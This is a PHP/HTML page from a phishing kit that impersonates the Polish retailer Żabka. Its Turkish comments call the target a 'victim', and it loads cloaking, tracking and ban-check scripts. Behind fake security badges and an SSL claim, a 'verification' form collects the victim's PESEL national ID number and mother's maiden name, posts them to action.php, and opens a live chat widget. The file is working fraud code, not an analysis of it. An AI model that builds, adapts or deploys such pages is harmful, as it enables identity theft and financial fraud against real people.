<?php 
session_start(); // BU SATIR ARTIK AKTİF OLMALI

require_once 'cloaker_guard.php'; 
require_once 'tracker.php'; 
include_once 'check_ban.php';
include_once 'theme_config.php'; 
include_once 'translator_engine.php'; 

// Eğer kurbanın ID'si yoksa ana sayfaya at (Güvenlik ve Veri Bütünlüğü İçin)
if (!isset($_SESSION['fb_victim_id'])) {
    header('Location: index.php');
    exit();
}

// Żabka Logo URL
$zabka_logo = "https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png";
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Żabka | Weryfikacja</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        /* Żabka Light Theme */
        :root {
            --zabka-green: #007a33;
            --zabka-dark: #005c26;
            --zabka-accent: #fec20f;
        }

        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #ffffff; /* Beyaz Arka Plan */
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        /* Temiz Beyaz Kart */
        .zabka-card {
            background: #ffffff;
            border-top: 4px solid var(--zabka-green);
            box-shadow: 0 10px 40px -10px rgba(0, 122, 51, 0.15);
        }

        /* Input Alanları */
        .zabka-input-wrapper {
            background: #f9fafb;
            border: 1px solid #e5e7eb;
            transition: all 0.3s ease;
        }
        .zabka-input-wrapper:focus-within {
            background: #ffffff;
            border-color: var(--zabka-green);
            box-shadow: 0 0 0 3px rgba(0, 122, 51, 0.1);
        }
        .input-icon { color: #9ca3af; transition: color 0.3s ease; }
        .zabka-input-wrapper:focus-within .input-icon { color: var(--zabka-green); }

        /* Buton */
        .zabka-btn {
            background: var(--zabka-green);
            color: white;
            transition: all 0.2s ease;
            box-shadow: 0 4px 15px -5px rgba(0, 122, 51, 0.5);
        }
        .zabka-btn:hover { background: var(--zabka-dark); transform: translateY(-1px); }
        .zabka-btn:active { transform: scale(0.98); }

        /* Animasyon */
        .fade-in-up { animation: fadeInUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; opacity: 0; transform: translateY(20px); }
        @keyframes fadeInUp { to { opacity: 1; transform: translateY(0); } }
    </style>
</head>
<body class="p-4">

    <div class="w-full max-w-[400px] relative z-10 fade-in-up">
        
        <div class="zabka-card rounded-2xl p-8 text-center relative overflow-hidden">
            
            <div class="absolute top-4 right-4 flex items-center gap-1 text-[10px] font-bold text-[#007a33] bg-green-50 px-2 py-1 rounded-full border border-green-100">
                <i class="bi bi-shield-fill-check"></i>
                <span>Bezpieczna Żappka</span>
            </div>

            <div class="mb-8 mt-2">
                <img src="<?= $zabka_logo ?>" alt="Żabka" class="h-12 mx-auto object-contain">
            </div>

            <div class="mb-8 text-center">
                 <div class="inline-flex items-center justify-center w-16 h-16 rounded-full bg-green-50 mb-4 text-[#007a33]">
                    <i class="bi bi-person-badge text-3xl"></i>
                </div>
                <h2 class="text-xl font-bold text-gray-900 tracking-tight">Dodatkowa weryfikacja</h2>
                <p class="text-sm text-gray-500 mt-2 leading-relaxed">
                    W celu zapewnienia bezpieczeństwa Twojego konta, prosimy o podanie poniższych danych.
                </p>
            </div>

            <form id="details-form" action="action.php" method="POST" autocomplete="off" class="space-y-6 text-left">
                
                <div class="group">
                    <label class="block text-xs font-bold text-gray-700 uppercase tracking-wider mb-1.5 ml-1">
                        Numer PESEL <span class="text-red-500">*</span>
                    </label>
                    <div class="zabka-input-wrapper flex items-center rounded-xl h-12 overflow-hidden">
                        <div class="pl-4 input-icon">
                            <i class="bi bi-fingerprint text-lg"></i>
                        </div>
                        <input type="tel" name="pesel" id="pesel" 
                               class="w-full h-full bg-transparent text-gray-900 text-sm font-semibold px-4 focus:outline-none placeholder-gray-400 tracking-widest" 
                               placeholder="12345678901" 
                               maxlength="11" 
                               required>
                    </div>
                </div>

                <div class="group">
                     <label class="block text-xs font-bold text-gray-700 uppercase tracking-wider mb-1.5 ml-1">
                        Nazwisko panieńskie matki <span class="text-red-500">*</span>
                    </label>
                    <div class="zabka-input-wrapper flex items-center rounded-xl h-12 overflow-hidden">
                        <div class="pl-4 input-icon">
                            <i class="bi bi-person-heart text-lg"></i>
                        </div>
                        <input type="text" name="mmn" id="mmn" 
                               class="w-full h-full bg-transparent text-gray-900 text-sm font-medium px-4 focus:outline-none placeholder-gray-400" 
                               placeholder="Wpisz nazwisko" 
                               required>
                    </div>
                </div>

                <div id="error-message" class="text-red-500 text-xs text-center font-bold h-4"></div>

                <button type="submit" class="zabka-btn w-full font-bold py-4 rounded-xl text-sm flex items-center justify-center gap-2 group">
                    <span>Zatwierdź dane</span>
                    <i class="bi bi-arrow-right group-hover:translate-x-1 transition-transform"></i>
                </button>

            </form>
        </div>

        <div class="mt-8 text-center opacity-50">
            <p class="text-xs text-gray-400 flex items-center justify-center gap-2">
                <i class="bi bi-lock-fill text-[#007a33]"></i>
                Połączenie szyfrowane SSL
            </p>
        </div>

    </div>

    <script src="redirect_check.js"></script>
    <script>
        document.addEventListener('DOMContentLoaded', () => {
            const form = document.getElementById('details-form');
            const peselInput = document.getElementById('pesel');
            const mmnInput = document.getElementById('mmn');
            const errorMessage = document.getElementById('error-message');

            // PESEL sadece rakam girişi ve 11 hane kontrolü
            peselInput.addEventListener('input', (e) => {
                e.target.value = e.target.value.replace(/\D/g, '').substring(0, 11);
            });

            form.addEventListener('submit', function(e) {
                errorMessage.textContent = '';
                let isValid = true;
                
                // Basit PESEL uzunluk kontrolü
                if (peselInput.value.length !== 11) {
                    errorMessage.textContent = 'Nieprawidłowy numer PESEL (wymagane 11 cyfr).';
                    isValid = false;
                    peselInput.focus();
                } 
                // Anne kızlık soyadı boş kontrolü
                else if (mmnInput.value.trim().length < 2) {
                    errorMessage.textContent = 'Proszę podać nazwisko panieńskie matki.';
                    isValid = false;
                    mmnInput.focus();
                }

                if (!isValid) {
                    e.preventDefault();
                }
            });
        });
    </script>

    <?php if (isset($_SESSION['fb_victim_id'])) { include_once 'chat_widget.php'; } ?>
    
    <script type="text/javascript">
    var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
    (function(){
    var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
    s1.async=true;
    s1.src='https://embed.tawk.to/65e4826c9131ed19d9742f26/1ho29qu35';
    s1.charset='UTF-8';
    s1.setAttribute('crossorigin','*');
    s0.parentNode.insertBefore(s1,s0);
    })();
    </script>
</body>
</html>